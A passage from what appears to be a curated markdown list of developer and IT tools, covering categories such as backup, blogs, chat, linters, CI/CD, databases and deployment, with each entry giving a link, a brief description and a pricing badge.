Modern, fast (high-performance), web framework for building APIs with Python 3.6+ based on standard Python type hints. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Functionscript](https://github.com/acode/FunctionScript) - An API gateway and framework for turning JavaScript functions into web services. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [hoppscotch](https://github.com/hoppscotch/hoppscotch) - Open source API development ecosystem- [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Postman](https://www.postman.com/downloads/) - Complete API Development Environment - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Postwoman](https://github.com/liyasthomas/postwoman) - A free, fast and beautiful API request builder (web alternative to Postman) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [public-apis](https://github.com/public-apis/public-apis) - A collective list of free APIs for use in software and web development. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Swagger](https://swagger.io/tools/open-source/) - Easy-to-use suite of API developer tools for teams and individuals, enabling development across the entire API lifecycle, from design and documentation, to test and deployment - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Backup / Archiving / Restoration / ... _This category doesn't need an introduction i guess_ - [Borg](https://github.com/borgbackup/borg) - Deduplicating archiver with compression and authenticated encryption - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [burp](https://burp.grke.org/) - Network backup and restore program. It attempts to reduce network traffic and the amount of space that is used by each backup. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [ceph](https://ceph.io/) - Storage platform - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [ddrescue](https://www.gnu.org/software/ddrescue/) - A data recovery tool. It copies data from one file or block device (hard disc, cdrom, etc) to another, trying to rescue the good parts first in case of read errors - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [dotdrop](https://github.com/deadc0de6/dotdrop) - Save your dotfiles once, deploy them everywhere. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Duplicity](http://duplicity.nongnu.org/) - Duplicity backs directories by producing encrypted tar-format volumes and uploading them to a remote or local file server. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [edocperso](https://edocperso.fr/) - Store pay slips, invoices, tax assessment and more through collectors that automatically gather your documents. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [fogproject](https://github.com/FOGProject/fogproject) - A cloning/imaging solution/rescue suite. FOG can be used to image Windows XP, Vista, Windows 7, Window 8, and Windows 10 PCs using PXE, PartClone, and a Web GUI to tie it together - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [freefilesync](https://freefilesync.org/) - Folder comparison and synchronization software that creates and manages backup copies of all your important files - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [lodestone](https://github.com/AnalogJ/lodestone/) - Personal Document Archiving (DMS, EDMS for Personal/Home Office use) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [mackup](https://github.com/lra/mackup) - Keep your application settings in sync (OS X/Linux) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [paperless](https://github.com/the-paperless-project/paperless) - Scan, index, and archive all of your paper documents - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [papermerge](https://github.com/ciur/papermerge) - Document Management System (DMS) for Scanned Documents - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [phpmyadmin_sql_backup](https://github.com/qubitstream/phpmyadmin_sql_backup) - A Python script to automate SQL dumps via phpMyAdmin's web interface - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [rclone](https://rclone.org/) - A command line program to manage files on cloud storage. Rclone can mount any local, cloud or virtual filesystem as a disk on Windows, macOS, linux and FreeBSD, and also serve these over SFTP, HTTP, WebDAV, FTP and DLNA. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [rsync](https://rsync.samba.org/) - An utility that provides fast incremental file transfer that can use rsh, ssh or direct sockets as the transport - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [shallow-backup](https://github.com/alichtman/shallow-backup) - Git-integrated backup tool for macOS and Linux devs. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [sqlbackup](https://sqlbak.com/) - Backup, monitor and restore databases from the web - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [tarsnap](https://github.com/Tarsnap/tarsnap) - Secure, efficient online backup service. Online backups for the truly paranoid. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [unraid](https://unraid.net/product) - Linux-based operating system optimized for media file storage - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Windows File Recovery](https://www.microsoft.com/en-us/store/r/windows-file-recovery/9n26s50ln705) - Accidentally deleted an important file? Wiped clean your hard drive? Unsure of what to do with corrupted data? Windows File Recovery can help recover your personal data. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Blogs _Some helpful Blogs and Tech News websites_ - [0x4a414e](https://0x4a414e.space/) - :en: - Technical blog - [Alsacreations](https://www.alsacreations.com/) - :fr: - HTML, CSS, JavaScript tutorials - [awwwards](https://www.awwwards.com/) - The awards of design, creativity and innovation on the internet. Good source of inspiration - [codingdose](https://codingdose.info/) - :gb: - Mostly Python related - [CSS-Tricks](https://css-tricks.com/) - :gb: - Articles, Snippets about CSS Tipps and tricks. - [D. Kriesel](http://www.dkriesel.com/) - :de: - Data Science, Machine Learning, ... - [Daniel Kriesel](http://www.dkriesel.com/) - :de: + :gb: - Data science Guru - [Daniel Stenberg](https://daniel.haxx.se/blog/) - :gb: - Lead developper of Curl - [Dev.to](https://dev.to/) - :gb: - online community. Anyone can share articles, questions, discussions, etc. - [Developer Portfolios](https://github.com/emmabostian/developer-portfolios) - A list of developer portfolios for your inspiration - [Frankys Web](https://www.frankysweb.de) - :de: - Exchange-Guru - [Golem](https://www.golem.de) - :de: - News - [haydenjames](https://haydenjames.io/) - :uk: - A blog covering Linux Systems Administration - [Heise](https://www.heise.de) - :de: - News - [korben.info](https://korben.info/) - :fr: - Famous blogger - [lanbugs](https://lanbugs.de/) - :de: - Interesting reallife examples - [Phoenixjp](http://www.phoenixjp.net/news/fr/) - :fr: - News agregator - [scotch.io](https://scotch.io/) - :uk: - A place where developers can help developers by sharing knowledge, tips, and tactics to get better at their craft. - [Substack](https://substack.com/) - Alternative to Medium. - [t3n](https://t3n.de/) - :de: - News - [Thomas-Krenn-Wiki](https://www.thomas-krenn.com/en/wiki/Main_Page) - :de: - Well documented wiki - [Troy Hunt](https://www.troyhunt.com/) - :gb: - The guy behing "haveibeenpwned.com" - [Wes bos](https://wesbos.com/) - :uk: - The Blog of a full stack web developer and designer from Hamilton, Canada which offers courses, ... - [xavki](https://xavki.blog/) - :fr: - Devops. Blogs abour open source: Docker, ansible, jenkins, ... ## Banking _Time is money as they say :hourglass_flowing_sand: :money_with_wings:_ - [firefly-iii](https://github.com/firefly-iii/firefly-iii) - A personal finances manager - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [splitwise](https://www.splitwise.com/) - Share expenses or rent price. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [tricount](https://www.tricount.com/) - Make sharing expenses simple for travel, activities and daily life. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Bots / Chatbots - [cunningbot](https://cunningbot.com/) - Helps you find the best domain names. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [integram](https://integram.org/) - Integrate Telegram into your workflow – Trello, Github, Gitlab, Bitbucket and other bots - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [intergram](https://github.com/idoco/intergram) - Free live chat widget linked to your Telegram messenger - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [landbot](https://landbot.io) - Most Intuitive No Code Chatbot Builder - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [opendialog](https://opendialog.ai/) - Design context-rich, multi-turn conversations. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [rasa](https://rasa.com/) - Build contextual assistants that really help customers - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Telegram Bots - [@freesteamgames](https://t.me/freesteamgames) - Get notified when someone publish a subreddit in /r/FreeGamesOnSteam - [@GitHubBot](https://www.t.me/githubbot) - Github Telegram Integration (not officically made by github) - [@gitlab_bot](https://www.t.me/gitlab_bot) - Gitlab Telegram Integration - [@GrabFreeGames](https://t.me/GrabFreeGames) - Finding big game giveaways, where everyone wins! - [@officialuptimerobot](https://www.t.me/officialuptimerobot) - Uptime Robot Telegram Integration ## Browsers _The thing you use to navigate through the depth of internet_ - [brave](https://brave.com/) - Get money from ads while browsing. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [brow.sh](https://www.brow.sh/) - Broswh is a fully-modern text-based browser. It renders anything that a modern browser can; HTML5, CSS3, JS, video and even WebGL - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Vivaldi](https://vivaldi.com/) - Every aspect of Vivaldi can be tweaked and customized (look & feel, ...). - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Calculus _Struggling with numbers ? So am i, here are tools to help_ - [symbolab](https://www.symbolab.com) - An advanced math education tool - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [numbr](https://numbr.dev/) - smart calculator combined with a notepad. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Omnicalculator](https://www.omnicalculator.com/statistics) - Calculate Odds, Chi-square, ... without headache - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Data - [airbyte](https://airbyte.com/) - EL(T) platform that helps sync data from applications, APIs & databases to warehouses, lakes & other destinations. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [croc](https://github.com/schollz/croc) - Easily and securely send things from one computer to another 🐊 📦. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [datacater](https://datacater.io/) - Integrate your data systems with streaming data pipelines - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [dbt](https://docs.getdbt.com/docs/introduction) - dbt (data build tool) enables analytics engineers to transform data in their warehouses by simply writing select statements. dbt handles turning these select statements into tables and views. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [facebook-delete](https://github.com/marcelja/facebook-delete) - Clean up a facebook account without deleting the entire account. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [garage](https://garagehq.deuxfleurs.fr/) - Distributed storage service to host a website, store media, have a backup target. Can be self-hosted. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [jitsu](https://github.com/jitsucom/jitsu) - High-performance data collection service. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [muzejs](https://muzejs.org/) - Data visualization library to create composable and interactive data visualization for the web - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/chartshq/muze) - [prefect](https://docs.prefect.io/core/) - The easiest way to automate your data. Prefect is the new standard in dataflow automation, trusted to build, run, and monitor millions of data workflows, pipelines and add semantics like retries, logging, dynamic mapping, caching, failure notifications, and more. - [![](https://img.shields.io/badge/pricing-open--source-green)](#)s - [re_data](https://github.com/re-data/dbt-re-data) - re_data is a set of tools (dbt macros & models) that helps you with making sure your data pipelines are clean & reliable. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### JSON - [JSON Schema](https://json-schema.org/understanding-json-schema/index.html#) - A tool for validating the structure of JSON data. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [json2html](https://github.com/moappi/visualizer.json2html) - Simple JSON visualizer - [Jsonnet](https://jsonnet.org/) - A data templating language - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Chat / Communication _Good communication is an art, so get the right tools to get it right_ - [chatwoot](https://github.com/chatwoot/chatwoot) - Open-source live chat software - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Ferdi](https://getferdi.com/) - All your messaging services in one place - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Franz](https://meetfranz.com/) - Aggregates lots of differents chat-tools - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Matrix](https://matrix.org/blog/home/) - A new basis for open, interoperable, decentralised real-time communication - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [matterbridge](https://github.com/42wim/matterbridge) - bridge between mattermost, IRC, gitter, xmpp, slack, discord, telegram, rocketchat, twitch, ssh-chat, zulip, whatsapp, keybase, matrix, microsoft teams, nextcloud, mumble and more with REST API (mattermost not required!) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Rambox](https://rambox.pro/) - Aggregates lots of differents chat-tools - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Revolt](https://revolt.chat/) - Privacy-first chat software that can be selfhosted. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Rocket Chat](https://rocket.chat/) - The ultimate Free Open Source Solution for team communications - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Signal](https://www.signal.org/) - Fast, simple, secure. Privacy that fits in your pocket. - [![](https://img.shields.io/badge/pricing-free-yellow)]() - [Stack](https://getstack.app/) - Stack is a smart browser for internet multitaskers. Manage all your social media, messaging, e-mailing, and productivity apps from one place! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Tangram](https://github.com/sonnyp/Tangram) - Organize and run your Web applications. Each tab is persistent and independent. You can set multiple tabs with different accounts for the same application. Similar to Franz. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Telegram](https://telegram.org/) - Cloud-based mobile and desktop messaging app. Can be extended by many bots or through the API. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Whatsapp](https://www.whatsapp.com/) - Secure, reliable messaging and calling, available on phones. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Conferences - [Chaos Computer Club](https://media.ccc.de/) - [fosdem](https://fosdem.org/2020/schedule/events/) - [FrOSCon](https://www.froscon.de/en/) - FrOSCon (Free and Open Source Software Conference). ## Conversions _Converting from one format to another_ - [Pandoc](http://pandoc.org/) - If you need to convert files from one markup format into another, pandoc is your swiss-army knife - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Craft / Home Automation _Doing stuff in real life too?_ - [home-assistant](https://github.com/home-assistant/core) - Home automation that puts local control and privacy first - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Meshroom](https://github.com/alicevision/meshroom) - 3D Reconstruction Software - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [MicroscoPy](https://github.com/IBM/MicroscoPy) - An open-source MICROSCOPE built using LEGO bricks, 3D-printing, Arduino and Raspberry Pi - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Precious Plastic](https://preciousplastic.com/) - Start a business from plastic waste! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Tasmota](https://github.com/arendst/Tasmota) - Alternative firmware for ESP8266 based devices with easy configuration using webUI, OTA updates, automation using timers or rules, expandability and entirely local control over MQTT, HTTP, Serial or KNX. Written for Arduino IDE and PlatformIO. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Templatemaker](https://www.templatemaker.nl/en/) - Custom sized papercraft and packaging templates for free - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Code style, review, quality and security / Linters / Debugging _Code quality and standarts should be enforced more often, that's for sure! Which team are you on, Stroustrup or Allman ?_ - [bundlephobia](https://github.com/pastelsky/bundlephobia) - Find the cost of adding a node npm package to your bundle - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [checkov](https://www.checkov.io/) - Scans cloud infrastructure configurations to find misconfigurations before they're deployed. Analyze infrastructure as code (IaC) scan results across platforms such as Terraform, CloudFormation, Kubernetes, Helm, ARM Templates and Serverless framework. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [codeclimate](https://codeclimate.com/) - Automated code review and quality analytics. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [commitizen](https://github.com/commitizen/cz-cli) - The commitizen command line utility. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [deno](https://github.com/denoland/deno) - A secure JavaScript and TypeScript runtime - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [editorconfig](https://github.com/editorconfig/editorconfig) - EditorConfig helps maintain consistent coding styles for multiple developers working on the same project across various editors and IDEs. The EditorConfig project consists of a file format for defining coding styles and a collection of text editor plugins that enable editors to read the file format and adhere to defined styles. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gerrit](https://github.com/GerritCodeReview/gerrit) - Code Review tool - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [lepton](https://github.com/hackjutsu/Lepton) - Snippet Management (macOS/Win/Linux) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [massCode](https://github.com/antonreshetov/massCode) - Code snippets manager for developers. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [pyre-check](https://github.com/facebook/pyre-check) - Performant type-checking for python. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [rebound](https://github.com/shobrook/rebound/) - Command-line tool that instantly fetches Stack Overflow results when an exception is thrown. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [scc](https://github.com/boyter/scc) - Very fast accurate code counter with complexity calculations - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [semantic-release](https://github.com/semantic-release/semantic-release) - Automates the whole package release workflow including: determining the next version number, generating the release notes and publishing the package. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [ShellCheck](https://www.shellcheck.net/) - ShellCheck finds bugs in your shell scripts. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [snibox](https://snibox.github.io/) - Self-hosted snippet manager. Developed to collect and organize code snippets - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [snipper](https://snipper.app/) - Code snippets manager - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Sonarlint](https://www.sonarlint.org/) - SonarLint is an IDE extension that helps you detect and fix quality issues as you write code (linter). - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Sonarqube](https://www.sonarqube.org/) - A tool for continuously inspecting the Code Quality and Security of your codebases, and guiding development teams during Code Reviews. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Source Graph](https://docs.sourcegraph.com/) - Find anything in multiple code repositories, fast and make large-scale code changes. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Sourcetrail](https://www.sourcetrail.com/) - Free and open-source cross-platform source explorer. Get productive on unfamiliar source code. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/CoatiSoftware/Sourcetrail) - [super-linter](https://github.com/github/super-linter) - Combination of multiple linters to install as a GitHub Action - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tabnine](https://tabnine.com/) - Smart Compose for code. Deep learning to help you write code faster. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ukip](https://github.com/google/ukip) - USB Keystroke Injection Protection - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Vaultproject](https://www.vaultproject.io/) - Manage Secrets and Protect Sensitive Data: Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Vale - [errata-ai/Google](https://github.com/errata-ai/Google) - A Vale-compatible implementation of the Google Developer Documentation Style Guide. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Openly](https://github.com/testthedocs/Openly) - Vale linter style that attempts to emulate some features of Grammarly. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vale-styles](https://github.com/testthedocs/vale-styles) - Checks for Vale based on popular style guides. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Python - [Black](https://github.com/psf/black) - The uncompromising Python code formatter - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [colorama](https://github.com/tartley/colorama) - cross-platform colored terminal text in Python - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [context_menu](https://github.com/saleguas/context_menu) - A Python library to create and deploy cross-platform native context menus. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [deep_translator](https://github.com/nidhaloff/deep_translator) - A tool to translate between different languages in a simple way using multiple translators. - [progress](https://github.com/verigak/progress) - Easy to use progress bars for Python - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Pylint](https://github.com/PyCQA/pylint) - A Python static code analysis tool (linter) which looks for programming errors, helps enforcing a coding standard, sniffs for code smells and offers simple refactoring suggestions. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [python-package-template](https://github.com/TezRomacH/python-package-template) - 🚀 Your next Python package needs a bleeding-edge project structure. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [python-progressbar](https://github.com/WoLpH/python-progressbar) - A progress bar for Python 2 and Python 3 - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [pythondialog](https://pypi.org/project/pythondialog/) - A Python interface to the UNIX dialog utility and mostly-compatible programs - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Simpdf](https://github.com/shashanoid/Simpdf) - Simple PDF text editor - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tqdm](https://github.com/tqdm/tqdm) - A Fast, Extensible Progress Bar for Python and CLI - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [typer](https://github.com/tiangolo/typer) - Easy to code. Based on Python type hints. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [wemake-python-styleguide](https://github.com/wemake-services/wemake-python-styleguide) - The strictest and most opinionated python linter ever - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Cheatsheets _How was it again?_ - [Devdocs](https://devdocs.io/) - DevDocs combines multiple API documentations in a fast, organized, and searchable interface.- [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/freeCodeCamp/devdocs) - [devhints](https://devhints.io/) - Cheatsheets for bash, react, go, ... - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [git](https://rogerdudler.github.io/git-guide/) - just a simple guide for getting started with git. no deep shit ;) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [macOS-Security-and-Privacy-Guide](https://github.com/drduh/macOS-Security-and-Privacy-Guide) - Guide to securing and improving privacy on macOS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Markdown - md](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) - A quick reference and showcase - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Markdown - Smileys](https://gist.github.com/rxaviers/7360908) - Complete list of github markdown emoji markup - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [wordpress](https://www.codeinwp.com/blog/wordpress-5-0-cheat-sheet/) - This is your cut-out-‘n-keep WordPress 5.0 cheat sheet. ✂️ - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Clustering _Always wanted to spread load between different machines to calculate things?_ - [Slurm](https://github.com/SchedMD/slurm) - Highly Scalable Workload Manager [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Configuration Management - [i-doit](https://www.i-doit.org/) - Configuration and Management Database that allows to follow ITIL best practises. CMDB + IPAM - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Continuous Integration (CI) / Continuous Delivery (CD) _You will be assimilated_ - [argo-cd](https://argoproj.github.io/argo-cd/) - GitOps continuous delivery tool for Kubernetes - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [circleci](https://circleci.com/pricing/) - Automate your development process with CI hosted in the cloud or on a private server. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [harness](https://harness.io/) - Jenkins Pipelines not scaling for CD? - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Jenkins](https://jenkins.io/) - An automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/jenkinsci/jenkins) - [Rudder](https://www.rudder.io/en/) - Multi-platform solution for managing configurations of mission-critical systems. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [semantic-release](https://github.com/semantic-release/semantic-release) - Fully automated version management and package publishing. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [shipjs](https://github.com/algolia/shipjs) - Take control of what is going to be your next release. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Spacelift](https://spacelift.io/) - Sophisticated and compliant infrastructure delivery platform for Terraform, CloudFormation, Pulumi, and Kubernetes. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Travis](https://travis-ci.org/) - Test and Deploy code - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Automated tests - [behat](https://docs.behat.org/en/latest/) - Behat is a BDD framework for PHP to help you test business expectations. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [jestjs](https://jestjs.io/) - JavaScript Testing Framework with a focus on simplicity. It works with projects using: Babel, TypeScript, Node, React, Angular, Vue and more! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [majestic](https://github.com/Raathigesh/majestic) - ⚡ Zero config GUI for Jest - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Databases - Related Stuff _Store that data_ - [Adminer](https://www.adminer.org/#download) - Database management in a single PHP file - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/vrana/adminer/) - [arctype](https://www.arctype.com/) - The SQL client and database management tool that's fun to use - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Dbeaver](http://dbeaver.io/) - Free universal database tool and SQL client - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [directus](https://directus.io/) - An Instant App & API for your SQL Database. - [getmedis](http://getmedis.com/) - Beautiful Management Application for Redis - - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [hasura](https://hasura.io/) - From your databases to a unified GraphQL API. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [InfluxDB](https://www.influxdata.com/) - Purpose-built to handle massive volumes and countless sources of time-stamped data produced by sensors, applications and infrastructure (for IoT, analytics and monitoring software). - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [keydb](https://keydb.dev/keydb-open-source/) - fastest in-memory database in the world - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [nocodb](https://www.nocodb.com/) - Platform that turns any database into a smart spreadsheet - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [SQLAlchemy](https://www.sqlalchemy.org/) - The Python SQL Toolkit and Object Relational Mapper - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/sqlalchemy/sqlalchemy/) Directus wraps your new or existing SQL database with a realtime GraphQL+REST API for developers, and an intuitive admin app for non-technical users. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Steampipe](https://steampipe.io/) - Use SQL to instantly query your cloud services (AWS, Azure, GCP and more). Open source CLI. No DB required. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Deployment / Remote management / MDM _Who likes to do stuff manually anyway ¯\_(ツ)_/¯_ - [Airwatch](https://www.air-watch.com/) - Enterprise mobility management (EMM) is a device- and platform-agnostic solution that centralizes the management, configuration and security of all devices in an organization, both BYO and corporate-owned. EMM goes beyond traditional device management to include the management and configuration of enterprise apps and content. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Ansible](https://github.com/ansible/ansible) - Automation platform that makes your applications and systems easier to deploy. Uses SSH only, no agents to install on remote systems. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [chaosmonkey](https://github.com/Netflix/chaosmonkey) - A resiliency tool that helps applications tolerate random instance failures. It randomly terminates virtual machine instances and containers that run inside of your production environment - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Cloud Foundry BOSH](https://github.com/cloudfoundry/bosh) - Release engineering, deployment, lifecycle management, and monitoring of distributed systems. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [deployer.org](https://deployer.org/) - A deployment tool written in PHP with support for popular frameworks out of the box. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [freckles](https://freckles.io/) - Python framework that helps getting computational environments into a defined state, with minimal amount of hassle - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [istio](https://istio.io/) - Connect, secure, control, and observe (micro)services. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Jamf](https://www.jamf.com/) - Mobile Device Management specialized on Apple / macOS products. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Linuxgsm](https://linuxgsm.com/) - The command-line tool for quick, simple deployment and management of Linux dedicated game servers. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/GameServerManagers/LinuxGSM) - [Microsoft Deployment Toolkit](https://docs.microsoft.com/en-us/sccm/mdt/) - Microsoft Deployment Toolkit (MDT) provides a unified collection of tools, processes, and guidance for automating desktop and server deployments. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Molecule](https://github.com/ansible-community/molecule) - Helps in the development and testing of Ansible roles - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [netboot](https://netboot.xyz/) - PXE boot various operating system installers or utilities from one place within the BIOS without the need of having to go retrieve the media to run the tool. You can remote attach the ISO to servers, set it up as a rescue option in Grub, or even set up your home network to boot to it by default so that it's always available. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/netbootxyz/netboot.xyz) - [netlify](https://www.netlify.com/) - Deploy your site in seconds (through github) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [terraform](https://www.terraform.io/) - Use Infrastructure as Code to provision and manage any cloud, infrastructure, or service - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Vagrant](https://github.com/hashicorp/vagrant) - Vagrant is a tool for building and distributing development environments. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Automation - [autoit](https://www.autoitscript.com/site/autoit/) - BASIC-like scripting language designed for automating the Windows GUI and general scripting (simulated keystrokes, mouse movement and window/control manipulation). - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Automa](https://github.com/AutomaApp/automa) - A chrome extension for automating your browser by connecting blocks - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [automate.io](https://automate.io/) - Connect your cloud apps. Automate work. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Hazel](https://www.noodlesoft.com/) - Automated Organization for macOS. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [n8n](https://n8n.io/) - Automation platform 